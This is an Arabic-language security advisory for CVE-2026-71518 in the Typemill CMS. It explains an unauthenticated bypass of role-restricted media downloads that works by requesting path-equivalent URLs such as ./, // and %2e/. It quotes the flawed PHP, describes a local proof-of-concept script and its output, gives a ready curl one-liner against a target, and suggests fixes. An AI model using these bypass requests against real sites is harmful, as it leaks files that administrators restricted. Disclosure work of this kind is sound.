
نشرة أمنية ومثال PoC لتجاوز التفويض دون مصادقة في تنزيلات وسائط Typemill، عبر استخدام متغيرات URL مكافئة للمسار للوصول إلى ملفات مقيّدة بالأدوار.
القيود مرتبطة بمسار الطلب الخام؛ بينما يُقرأ الملف من المسار الذي حُلّ بواسطة نظام التشغيل — وهما مختلفان
نظرة سريعة · ملخص · السبب الجذري · سلسلة الهجوم · استغلال الثغرة · المعالجة · الجدول الزمني
يتيح Typemill للمسؤول تقييد ملفات وسائط فردية بدور مستخدم محدد عبر
media/files/filerestrictions.yaml. ومن المفترض أن يلتزم مسار التنزيل العام
بهذا القيد — لكنه يتحقق من القيد مقابل مسار الطلب الخام بينما يقدّم البايتات من
المسار المُحلّ بواسطة نظام الملفات.
ولأن الملف نفسه له عدة تهجئات مكافئة للمسار
(./name, //name, %2e/name)، يختار المهاجم متغيرًا لا يطابق مفتاح القيد
ومع ذلك يظل يُحلّ إلى نفس الملف على القرص.
لا يحمل المسار أي برمجية وسيطة للمصادقة، لذا تكون النتيجة تنزيلًا غير مصادق عليه بالكامل لملفات كانت مقفلة صراحةً لدور معين.
مسار التنزيل عام — لا توجد برمجية وسيطة للمصادقة عليه:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
داخل system/typemill/Controllers/ControllerWebDownload.php، يستخدم قرار التحكم
بالوصول وقراءة الملف تمثيلين مختلفين لنفس المسار:
// يتم البحث عن القيد باستخدام معلمة الطلب RAW غير المطبَّعة:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... فرض قيد الدور (إعادة توجيه إلى تسجيل الدخول إذا لم يُسمح)
}
// ... لكن البايتات تُقدَّم من المسار المُحلّ بواسطة نظام التشغيل:
$content = file_get_contents($base . $params);
validate() يرفض فقط تسلسل .. الحرفي — فهو لا يطبّع ./ أو //، ولا يرفض
المكافئ المرمّز بالنسبة المئوية. لذلك يخرج مفتاح القيد والملف الذي يُقرأ فعليًا
عن التزامن:
الثغرة هي النمط الكلاسيكي "قرار التفويض والوصول إلى المورد يعتمدان على
سلسلتين مختلفتين يتحكم فيهما المهاجم" (CWE-639/CWE-863).
$_SERVER['REQUEST_URI'] يبقى خامًا أيضًا تحت Apache، لذا فإن هذه المشكلة
ليست مرتبطة بخادم معين.
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]filerestrictions.yaml.exploit/exploit.py يعيد إنتاج المشكلة من البداية إلى النهاية
ضد حاوية اختبار محلية. يقوم بـ (1) جعل "المسؤول" يضع ملفًا خاصًا مقيدًا بدور
editor، و(2) تأكيد أن الرابط الأساسي محظور للمستخدم المجهول، ثم (3) تنزيل
نفس الملف عبر كل متغير مكافئ للمسار.
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
المخرجات المتوقعة:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
سطر واحد ضد أي مضيف ثغرة (للاختبار المصرح به فقط):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() والتأكد من الاحتواء داخل
المجلد الأساسي للوسائط قبل القراءة، ورفض فواصل المسار المرمّزة بالنسبة المئوية.| التاريخ | الحدث |
|---|---|
| 2026-08-04 | اكتشاف الثغرة في Typemill 2.25.0؛ تم التحقق من PoC بالكامل على Docker |
| 2026-08-04 | الإبلاغ إلى المشرف / VulnCheck |
| — | أُصلحت في Typemill |
للاستخدام في الاختبارات الأمنية المصرح بها والأغراض التعليمية فقط. © @IlhomjonR
| معرّف CVE | CVE-2026-71518 |
| المنتج | typemill/typemill — Typemill (نظام إدارة محتوى PHP يعمل بالملفات المسطّحة، Slim 4) |
| المتأثر | جميع الإصدارات < 2.26.0 (تم التحقق على 2.25.0، الالتزام 8f3901c) |
| أُصلح في | 2.26.0 |
| نقطة الضعف | CWE-863 (تفويض غير صحيح) · CWE-639 (تجاوز التفويض عبر مفتاح يتحكم فيه المستخدم) |
| CVSS v3.1 | 7.5 — عالية · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — عالية |
| ناقل الهجوم | شبكة · بدون مصادقة · بدون تفاعل من المستخدم |
| الأثر | تنزيل غير مصادق عليه لملفات الوسائط التي قيّدها المسؤول بدور متميز |
| الباحث | Ilhomjon Rustamov (@IlhomjonR) |
| مسار الطلب | هل طابَق مفتاح القيد؟ | الملف المُحلّ على القرص | النتيجة |
|---|
/media/files/secret.pdf | ✅ نعم | secret.pdf | 🔒 محظور (302 ← تسجيل الدخول) |
/media/files/./secret.pdf | ❌ لا | secret.pdf | 🟢 تم التقديم (200) |
/media/files//secret.pdf | ❌ لا | secret.pdf | 🟢 تم التقديم (200) |
/media/files/%2e/secret.pdf | ❌ لا | secret.pdf | 🟢 تم التقديم (200) |
| 2026-08-18 | CVE-2026-71518 أصبحت علنية؛ تم نشر الإشعار + PoC |